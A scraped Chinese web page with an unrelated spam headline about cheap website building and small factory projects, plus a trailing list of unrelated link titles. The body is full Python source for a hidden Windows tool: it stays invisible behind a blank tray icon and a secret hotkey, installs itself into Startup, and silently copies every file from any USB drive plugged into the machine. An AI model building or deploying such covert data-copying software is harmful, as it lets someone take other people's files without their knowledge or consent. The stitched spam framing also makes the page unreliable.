当前位置: 首页 > news >正文

山东青?u68元建网站不愁销路的小型加工厂项目年入百万

山东青?u68元建网站,不愁销路的小型加工厂项目年入百万,海诚互联,chrome手机版功能#xff1a;当电脑上有U盘插入时#xff0c;自动复制U盘内的所有内容 主要特点#xff1a; 1、使用PyQt5创建图形界面#xff0c;但默认隐藏 2、通过CtrlAltU组合键可以显示/隐藏界面 3、自动添加到Windows启动项 4、监控USB设备插入 5、按修改时间排序复制文件 6、静…功能当电脑上有U盘插入时自动复制U盘内的所有内容 主要特点 1、使用PyQt5创建图形界面但默认隐藏 2、通过CtrlAltU组合键可以显示/隐藏界面 3、自动添加到Windows启动项 4、监控USB设备插入 5、按修改时间排序复制文件 6、静默运行无提示 7、自动跳过无法复制的文件 8、配置文件保存目标路径 使用说明 1、首次运行时按CtrlAltU显示界面 2、点击选择目标文件夹按钮设置保存位置 3、设置完成后可以关闭界面程序会在后台运行 4、插入U盘后会自动复制内容到指定文件夹 静默界面 实现代码 import os import sys import time import json import shutil import ctypes from ctypes import wintypes import win32file import win32api import win32con import win32gui import win32com.client import pythoncom import win32event import winerror from datetime import datetime from threading import Thread from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, QPushButton, QFileDialog, QLabel, QSystemTrayIcon) from PyQt5.QtCore import Qt, QTimer, QEvent from PyQt5.QtGui import QIcon, QPixmapclass USBCopyTool(QMainWindow):def __init__(self):super().__init__()self.config_file config.jsonself.target_path self.load_config()self.init_ui()self.setup_system_tray()self.setup_hotkey()# 添加窗口事件过滤器self.installEventFilter(self)# 启动USB监控线程self.monitor_thread Thread(targetself.monitor_usb, daemonTrue)self.monitor_thread.start()def init_ui(self):self.setWindowTitle(USB自动复制工具)self.setGeometry(300, 300, 400, 200)central_widget QWidget()self.setCentralWidget(central_widget)layout QVBoxLayout()self.path_label QLabel(f当前目标路径: {self.target_path})layout.addWidget(self.path_label)select_btn QPushButton(选择目标文件夹)select_btn.clicked.connect(self.select_target_path)layout.addWidget(select_btn)central_widget.setLayout(layout)self.hide()def setup_system_tray(self):self.tray_icon QSystemTrayIcon(self)# 创建一个1x1的空白图标而不是完全没有图标blank_icon QIcon()blank_icon.addPixmap(QPixmap(1, 1))self.tray_icon.setIcon(blank_icon)self.tray_icon.show()def setup_hotkey(self):# 注册全局热键 (CtrlAltU)self.hot_key_id 1try:win32gui.RegisterHotKey(self.winId(), self.hot_key_id, win32con.MOD_CONTROL | win32con.MOD_ALT, ord(U))except Exception as e:print(f热键注册失败: {e})def nativeEvent(self, eventType, message):try:if eventType windows_generic_MSG:msg wintypes.MSG.from_address(message.__int__())if msg.message win32con.WM_HOTKEY:if self.isVisible():self.hide()else:self.show()return True, 0except Exception as e:print(f事件处理错误: {e})return False, 0def load_config(self):try:with open(self.config_file, r) as f:config json.load(f)return config.get(target_path, )except:return def save_config(self):with open(self.config_file, w) as f:json.dump({target_path: self.target_path}, f)def select_target_path(self):path QFileDialog.getExistingDirectory(self, 选择目标文件夹)if path:self.target_path pathself.path_label.setText(f当前目标路径: {self.target_path})self.save_config()def monitor_usb(self):drives_before set(win32api.GetLogicalDriveStrings().split(\000)[:-1])print(f初始驱动器: {drives_before})while True:try:drives_now set(win32api.GetLogicalDriveStrings().split(\000)[:-1])new_drives drives_now - drives_beforeif new_drives:print(f检测到新驱动器: {new_drives})for drive in new_drives:drive_type win32file.GetDriveType(drive)print(f驱动器 {drive} 类型: {drive_type})if drive_type win32con.DRIVE_REMOVABLE:print(f开始复制U盘 {drive} 内容)self.copy_usb_contents(drive)drives_before drives_nowtime.sleep(1)except Exception as e:print(f监控错误: {e})time.sleep(1)def copy_usb_contents(self, drive):if not self.target_path:print(未设置目标路径)return# 获取U盘卷标名称try:volume_name win32api.GetVolumeInformation(drive)[0]# 如果U盘没有卷标名称则使用盘符if not volume_name:volume_name os.path.splitdrive(drive)[0].rstrip(:\\)# 替换非法字符volume_name .join(c for c in volume_name if c not in r\/:*?|)except Exception as e:print(f获取卷标名称失败: {e})volume_name os.path.splitdrive(drive)[0].rstrip(:\\)target_folder os.path.join(self.target_path, volume_name)print(f复制到目标文件夹: {target_folder})if not os.path.exists(target_folder):os.makedirs(target_folder)# 获取所有文件并按修改时间排序all_files []try:for root, dirs, files in os.walk(drive):print(f扫描目录: {root})for file in files:file_path os.path.join(root, file)try:mtime os.path.getmtime(file_path)all_files.append((file_path, mtime))except Exception as e:print(f无法获取文件信息: {file_path}, 错误: {e})continueexcept Exception as e:print(f扫描目录失败: {e})all_files.sort(keylambda x: x[1], reverseTrue)print(f找到 {len(all_files)} 个文件)# 复制文件for file_path, _ in all_files:try:rel_path os.path.relpath(file_path, drive)target_path os.path.join(target_folder, rel_path)target_dir os.path.dirname(target_path)if not os.path.exists(target_dir):os.makedirs(target_dir)print(f复制文件: {file_path} - {target_path})shutil.copy2(file_path, target_path)except Exception as e:print(f复制失败: {file_path}, 错误: {e})continuedef eventFilter(self, obj, event):if obj is self and event.type() QEvent.WindowStateChange:if self.windowState() Qt.WindowMinimized:# 延迟执行隐藏操作避免界面闪烁QTimer.singleShot(0, self.hide)# 恢复窗口状态这样下次显示时是正常状态self.setWindowState(Qt.WindowNoState)return Truereturn super().eventFilter(obj, event)def add_to_startup():try:startup_path os.path.join(os.getenv(APPDATA), rMicrosoft\Windows\Start Menu\Programs\Startup)script_path os.path.abspath(sys.argv[0])shortcut_path os.path.join(startup_path, USBCopyTool.lnk)shell win32com.client.Dispatch(WScript.Shell)shortcut shell.CreateShortCut(shortcut_path)shortcut.Targetpath script_pathshortcut.WorkingDirectory os.path.dirname(script_path)shortcut.save()except Exception as e:print(f添加到启动项失败: {e})if __name__ __main__:# 确保只运行一个实例mutex win32event.CreateMutex(None, 1, USBCopyTool_Mutex)if win32api.GetLastError() winerror.ERROR_ALREADY_EXISTS:mutex Nonesys.exit(0)add_to_startup()app QApplication(sys.argv)tool USBCopyTool()sys.exit(app.exec_())
http://www.hkea.cn/news/14391872/

相关文章:

  • 做护肤品好的网站好pw域名网站
  • 网站关闭了域名备案国内空间
  • 一个网站 两个域名福建省建设继续教育网站
  • 四川省微信网站建设推广代运营电商公司
  • 中国山东网站建设营销型企业网站建设方案
  • 深圳哪家做网站网站搭建兼职
  • 商务网站怎么做推广神器
  • 备案过的网站换空间世界十大建筑设计公司排名
  • 网站整体设计风格湖南美食网站建设策划书
  • 简单aspx网站开发保山市建设厅官方网站
  • 工信部网站icp备案查询北京市保障性住房建设投资中心官方网站
  • 深圳品牌做网站wordpress更改登录地址
  • 网站报价明细表汉中市网站建设公司
  • 东莞做网站哪家最好信息系统项目管理高级
  • 高新门户网站专题建设网站服务器技术
  • asp.net网站访问统计深圳住房宝安和建设局网站
  • 厦门u 网站建设最新源码
  • 温州网站建设外包郴州刚刚发生的事
  • 怀柔做网站的吗北京手机app开发
  • 手机网站开发专业肇庆市端州发布
  • 服务器可以做网站吗网站页面怎么做导航
  • 好的网站设计特点网站做微信支付接口
  • 用高权重网站的目录做站群怎么样优化关键词排名seo软件
  • 济南网站建设咨 询小七甘肃园区网络搭建
  • 福建省建设工程质量安全网站天津网站建设公司推荐
  • 东莞浩智网站建设开发北京公司网站建设价格
  • 设计网站建新网站建设需要什么
  • 网站内容与功能模块设计典型十大优秀网络营销案例
  • 无锡有哪些做网站的公司在线阅读小说网站怎么建设
  • 缺乏门户网站建设wordpress 关闭文章修订